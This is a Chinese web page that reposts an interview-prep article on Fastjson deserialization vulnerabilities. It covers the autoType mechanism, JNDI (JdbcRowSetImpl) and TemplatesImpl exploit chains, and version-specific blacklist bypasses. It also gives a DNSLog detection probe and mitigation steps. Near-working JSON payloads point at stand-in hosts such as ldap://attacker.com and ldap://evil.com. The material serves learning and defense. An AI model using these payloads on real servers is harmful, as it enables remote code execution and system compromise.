当前位置: 首页 > news >正文

fastjson面试爱问的问题

Fastjson 是阿里巴巴开源的 Java JSON 解析库,因为其功能强大(如自动类型识别、自定义类反序列化等),也成为漏洞频发的重灾区,尤其在反序列化方面

主要漏洞就是反序列化

反序列化

fastjson反序列化与weblogic、shiro反序列化类似,在客户端将json数据进行序列化传送至服务端后,服务端会将其反序列化读取其中数据,若客户端操控json数据,加入一些恶意类方法、代码,则可能会造成服务端代码执行。同时由于fastjson采用黑名单过滤的方式,也存在着被绕过的风险。

当前出现的fastjson反序列化漏洞由于无法做到回显,一般会使用ldap和rmi远程调用的方式来进行getshell。攻击机发送恶意payload来使漏洞服务端进行ldap或rmi远程调用,调用搭建好的ldap或rmi服务上所布置好的class类进而执行,从而实现shell反弹

面试最爱问不出网怎么办

TemplatesImpl​不出网 RCEJDK 自带TemplatesImpl​
BCEL ClassLoader​ JDK ≤ 8u251 目标包含 BCEL 类
文件写入(Webshell) 有文件写入权限 需二次请求
Groovy/ScriptEngine 目标安装 Groovy/JS 引擎 需特定环境
内存马注入 Java Web 环境 需熟悉 Servlet API

1. 漏洞原理

Fastjson 在解析 JSON 数据时,如果字段中包含 @type​,会尝试将其转换为指定的 Java 类。例如:

{"@type": "com.example.User","name": "test","age": 20
}

Fastjson 会尝试实例化 com.example.User​ 并填充字段。

漏洞触发条件

  1. 目标使用 JSON.parseObject()​ JSON.parse()​ 解析不可信数据。
  2. AutoType​ 开启(默认开启,1.2.25 后需手动启用)。
  3. 存在可利用的恶意类(如 JdbcRowSetImpl​、TemplatesImpl​)。

2. 核心漏洞利用链

(1) JNDI 注入(依赖出网)

利用类:com.sun.rowset.JdbcRowSetImpl​原理:该类的 setDataSourceName()​ 方法可触发 JNDI 查询,结合 LDAP/RMI 实现 RCE。Payload:

{"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "ldap://attacker.com/Exploit","autoCommit": true
}

利用步骤:

  1. 攻击者搭建恶意 LDAP/RMI 服务器(如使用 marshalsec​)。
  2. 目标解析恶意 JSON 时,向攻击者服务器请求恶意类并执行。

(2) TemplatesImpl(不出网利用)

利用类:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl​原理:通过字节码加载直接执行任意 Java 代码(需目标环境有该类)。Payload:

{"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes": ["恶意字节码Base64"],"_name": "test","_tfactory": {}
}

特点:

  • 不依赖外部网络(无 JNDI 请求)。
  • 需构造合法的字节码(如通过 javac​ 编译恶意类)。

3. 历史绕过手法

(1) AutoType 黑名单绕过(1.2.25-1.2.47)

Fastjson 引入黑名单过滤危险类,但攻击者通过以下方式绕过:

  • L;​ 包裹类名(1.2.25-1.2.41):

    { "@type": "Lcom.sun.rowset.JdbcRowSetImpl;" }
    
  • 双写 LL;;​(1.2.42):

    { "@type": "LLcom.sun.rowset.JdbcRowSetImpl;;" }
    
  • [​ 包裹类名(1.2.43):

    { "@type": "[com.sun.rowset.JdbcRowSetImpl" }
    

(2) 缓存绕过(1.2.47)

利用 mappings​ 缓存机制加载黑名单类:

{"a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" },"b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://evil.com" }
}

4. 漏洞检测方法

(1) DNSLog 探测

{ "@type": "java.net.Inet4Address", "val": "dnslog-attacker.com" }

若目标解析该域名,说明存在漏洞。

(2) 报错回显

{ "@type": "java.lang.AutoCloseable" }

返回错误信息(如 AutoCloseable not found​)则可能使用 Fastjson。

5. 防御措施

  1. 升级 Fastjson 到最新版(≥1.2.83)。

  2. 关闭 AutoType:

    ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
    
  3. 使用白名单:

    ParserConfig.getGlobalInstance().addAccept("com.safe.pkg.");
    
  4. 替换库:使用 Gson 或 Jackson(需关闭不安全的配置)。

http://www.jsqmd.com/news/454994/

相关文章:

  • 零门槛上手cv_unet_image-colorization:本地GPU加速上色工具完整使用教程
  • 3种强力方案解锁Cursor Pro功能:开发者与团队的效率提升指南
  • 提升javascript开发效率:用快马ai一键生成常用工具函数库
  • 如何安装openClaw
  • DAMOYOLO-S基础教程:COCO标准数据集适配与80类检测能力解析
  • FunASR服务器部署实战:从Docker加载到批量推理的完整流程(CPU/GPU双版本)
  • day38- 26年小红书红利年:必做风口+避雷禁区
  • 学术研究好帮手:用Hunyuan-MT 7B本地翻译外文文献,无字数限制
  • 如何选择靠谱的国际课程辅导机构:基于结构化评估标准的推荐 - 品牌测评鉴赏家
  • 游戏手柄控制电脑完全指南:如何用手柄实现高效远程操控
  • AI编程新范式:Qwen3辅助生成与调试Python代码
  • SpringBoot集成Netty实战:构建高效TCPUDP通信服务端【物联网开发必备】
  • 将盾 CDN:HTTPS 加密传输保护数据安全
  • 基于Cosmos-Reason1-7B的智能客服系统开发指南
  • Zotero Better BibTeX高效使用指南:从安装到高级应用
  • 达摩院春联模型实战:4GB显存GPU性能报告,生成速度与效果全解析
  • 专家与大模型在临床医学中的人机协作:系统综述与荟萃分析
  • ibus输入法词库DIY指南:如何为Linux系统打造个性化词库
  • Cursor Pro功能解锁完全指南:从限制突破到高效应用
  • 实战指南:基于快马平台快速开发可部署的大模型智能客服系统
  • AI 净界技术验证:RMBG-1.4 SOTA 级边缘识别能力实测
  • Pyarmor-Static-Unpack-1shot:静态解密Pyarmor加密脚本的安全解决方案
  • SEER‘S EYE预言家之眼企业级应用:集成至在线教育平台的互动课堂
  • 突破字节码壁垒:JD-GUI Java反编译工具全攻略
  • 2026-03-08 全国各地响应最快的 BT Tracker 服务器(移动版)
  • 极限测试:Qwen-Image-Edit-F2P生成非现实种族与奇幻生物面部效果鉴赏
  • DeOldify在网络安全领域的应用:恶意图像溯源与取证分析
  • linux调试杂谈
  • 告别维护的DeepLearnToolbox:Matlab用户转向Python深度学习生态的迁移指南
  • MTools效果展示:AI驱动的老电影修复,让模糊影像重获新生